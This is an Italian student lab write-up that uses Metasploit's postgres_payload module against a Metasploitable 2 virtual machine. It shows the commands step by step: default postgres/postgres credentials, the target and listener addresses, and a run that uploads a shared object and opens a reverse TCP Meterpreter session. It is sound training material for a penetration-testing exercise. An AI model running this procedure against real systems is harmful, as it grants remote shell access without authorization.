

ESERCIZIO DI OGGI S7/L3

Usa il modulo exploit/ linux /postgres /postgres_payload PostgreSQL di Metasploitable 2.

Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target. Esercizio
Esercizio per sfruttare una vulnerabilità nel servizio

La prima cosa da fare è assicurarsi che le due macchine, Metasploit e Kali, comunichino tra di loro. Per verificare ciò, eseguiamo il seguente comando su entrambi i terminali:

ping

Verificata la corretta connessione, entriamo nella libreria di Metasploit come si evince nella schermata successiva

```
(kali㉿kali)-[~]  
$ msfconsole  
Metasploit tip: View all productivity tips with the tips command  
  
*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru  
*() { :}; echo vulnerable*  
*Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*ext  
t*Vampire Bunnies*APT593*  
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*  
oTeamName*Terminal Cult*  
*edspiner*BFG*MagentaHats*0x01DA*Kaczuski*AlphaPwners*FILAHA*Raffaela*HackSurYvette*out  
ut*HackSouth*Corax*yeeb0iz*  
*SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nm3d*IFS*CTF_Circle*InnotecLabs*  
aadf00d*BitSwitchers*0xnoobs*
```

Entrati nella libreria,
eseguiamo il comando sottostante per utilizzare la libreria PostgreSQL

```
msf6 > use exploit/linux/postgres/postgres_payload  
[*] Using configured payload linux/x86/meterpreter/reverse_tcp  
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
```

Di seguito trovate i vari dettagli di configurazione. Quelli mostrati nell'immagine sono i miei personali;

Ps. Se si intende eseguire la stessa configurazione, è necessario modificare RHOSTS, LHOST e LPORT

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.64.24
RHOST => 192.168.64.24
msf6 exploit(linux/postgres/postgres_payload) > set rport 5432
rport => 5432
msf6 exploit(linux/postgres/postgres_payload) > set username postgres
username => postgres
msf6 exploit(linux/postgres/postgres_payload) > set password postgres
password => postgres
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.0.13
lhost => 192.168.0.13
msf6 exploit(linux/postgres/postgres_payload) > set lport 4444
lport => 4444
msf6 exploit(linux/postgres/postgres_payload) > show options
```

Conclusa la configurazione, per effettuare un test si esegue il comando exploit, come mostrato nell'immagine sottostante

```
msf6 exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.64.32:4444
[*] 192.168.64.24:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/sUlyRUju.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.64.24
[*] Meterpreter session 1 opened (192.168.64.32:4444 → 192.168.64.24:41092) at 2025-01-22 15:41:50 +0100

meterpreter > 
```